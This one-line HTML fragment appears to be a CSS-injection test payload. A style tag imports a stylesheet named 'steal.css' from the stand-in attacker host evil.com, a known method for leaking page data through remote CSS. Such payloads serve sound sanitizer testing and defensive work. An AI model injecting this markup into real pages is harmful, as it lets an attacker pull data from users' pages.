<style>@import 'https://evil.com/steal.css'</style>